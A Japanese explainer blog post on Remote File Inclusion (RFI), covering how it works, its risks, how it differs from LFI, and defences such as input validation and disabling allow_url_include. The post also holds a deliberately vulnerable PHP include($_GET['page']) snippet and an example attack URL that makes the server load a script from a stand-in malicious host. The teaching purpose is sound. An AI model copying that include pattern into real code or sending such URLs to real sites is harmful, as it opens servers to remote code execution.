更新:2025/01/06

RFI(Remote File Inclusion)とは?ゆるーくわかりやすく解説

はるか
はるか
RFIって、なんとなく聞いたことあるけど、何か分かる?
ふゅか
ふゅか
うん!RFIは「Remote File Inclusion」の略で、外部ファイルをサーバーに読み込ませる攻撃手法だよ。Webアプリケーションの脆弱性の一つなんだ!

1. RFIの要点

RFIとは・・・

  • webアプリケーションの脆弱性の一つ
  • 外部のスクリプトを読み込ませる手法
  • 「Remote File Inclusion」の略

2. RFI(Remote File Inclusion)とは?

RFIは「Remote File Inclusion」の略で、日本語では「リモートファイルインクルージョン」と呼ばれます。主にWebアプリケーションの脆弱性を突いた攻撃手法の一つであり、攻撃者が悪意のある外部ファイルをサーバーに読み込ませることで、さまざまな被害を引き起こします。

ちなみに、情報提供に関連するRequest for Information(RFI)という言葉もあります。

3. RFIの仕組み

RFIは、Webアプリケーションが外部から指定されたファイルを動的に読み込む仕組みを悪用する攻撃です。多くの場合、PHPやASPなど、サーバーサイドスクリプトでファイルをインクルードする機能が正しく制御されていない場合に発生します。

具体的な仕組みは以下の通りです:

  1. 入力値の不正な処理
    ユーザーがURLやフォームを通じて指定したファイル名を、アプリケーションが適切に検証せず、そのままインクルード処理を実行する。
  2. 悪意のあるファイルのインクルード
    攻撃者は、自分のサーバーに用意した悪意のあるスクリプト(たとえばマルウェアやバックドアプログラム)を指定し、対象のアプリケーションにそのスクリプトを実行させる。
  3. 攻撃の実行
    悪意のあるスクリプトがサーバー内で動作し、システム情報の漏えいや不正操作を引き起こします。

4. RFIが引き起こすリスク

RFIを利用した攻撃が成功すると、以下のような深刻な影響を及ぼす可能性があります:

4.1. システムの乗っ取り

攻撃者がバックドアを設置することで、サーバーを完全に支配される恐れがあります。

4.2. 情報漏えい

サーバーに保存された顧客情報や機密データが不正に取得されるリスクがあります。

4.3. マルウェアの拡散

サーバーがマルウェアの配布元として悪用される可能性があります。

4.4. サービス停止(DoS攻撃)

サーバーが過負荷状態に陥り、サービスが停止することがあります。

5. RFIの例

以下はRFI攻撃がどのように行われるかを示す簡単な例です。

5.1. PHPのinclude()関数の不適切な利用

<?php
// ユーザーが指定したファイルを読み込む処理
include($_GET['page']);
?>

このコードでは、pageパラメータで指定されたファイルがそのまま読み込まれます。例えば以下のようなURLが攻撃に利用される可能性があります:

<http://example.com/index.php?page=http://malicious-site.com/bad-script.php>

このURLを処理すると、bad-script.phpがリモートサーバーから読み込まれ、サーバー内で実行されてしまいます。

はるか
はるか
仕組みをもう少し教えて。どうやって攻撃が成立するの?
ふゅか
ふゅか
例えば、URLパラメータで外部のファイルを指定できる場合、そのファイルをサーバーが確認せずに読み込むと危険!悪意のあるスクリプトが実行されちゃうの。

6. RFIとLFIの違い

似たような攻撃手法にLFI(Local File Inclusion)があります。LFIは、リモートではなくサーバー内に存在するローカルファイルを不正に読み込む手法です。RFIが外部ファイルの読み込みに焦点を当てているのに対し、LFIはローカルファイルの悪用に焦点を当てています。

7. RFI対策

RFIの被害を防ぐためには、Webアプリケーションのセキュリティを向上させることが不可欠です。

  1. 入力値の検証
    • ユーザーから受け取るすべてのデータを厳密に検証し、想定外の入力を拒否する。
    • 許可リスト(ホワイトリスト)方式を採用して、安全な入力のみを受け付ける。
  2. 動的なファイルインクルードの禁止
    • ユーザー入力を直接ファイルインクルードに使用しない。
    • 必要に応じて静的なファイルパスを使用する。
  3. allow_url_includeの無効化
    • PHPでは、allow_url_include設定を無効にしてリモートファイルの読み込みを防ぐ。
    • php.iniファイルで以下のように設定します:
      allow_url_include = Off
      
      
  4. 最新のセキュリティパッチを適用
    • 使用しているフレームワークやCMS、プログラム言語のセキュリティアップデートを定期的に行う。
  5. WAF(Web Application Firewall)の導入
    • 攻撃を自動的に検出しブロックするため、WAFを導入する。

PR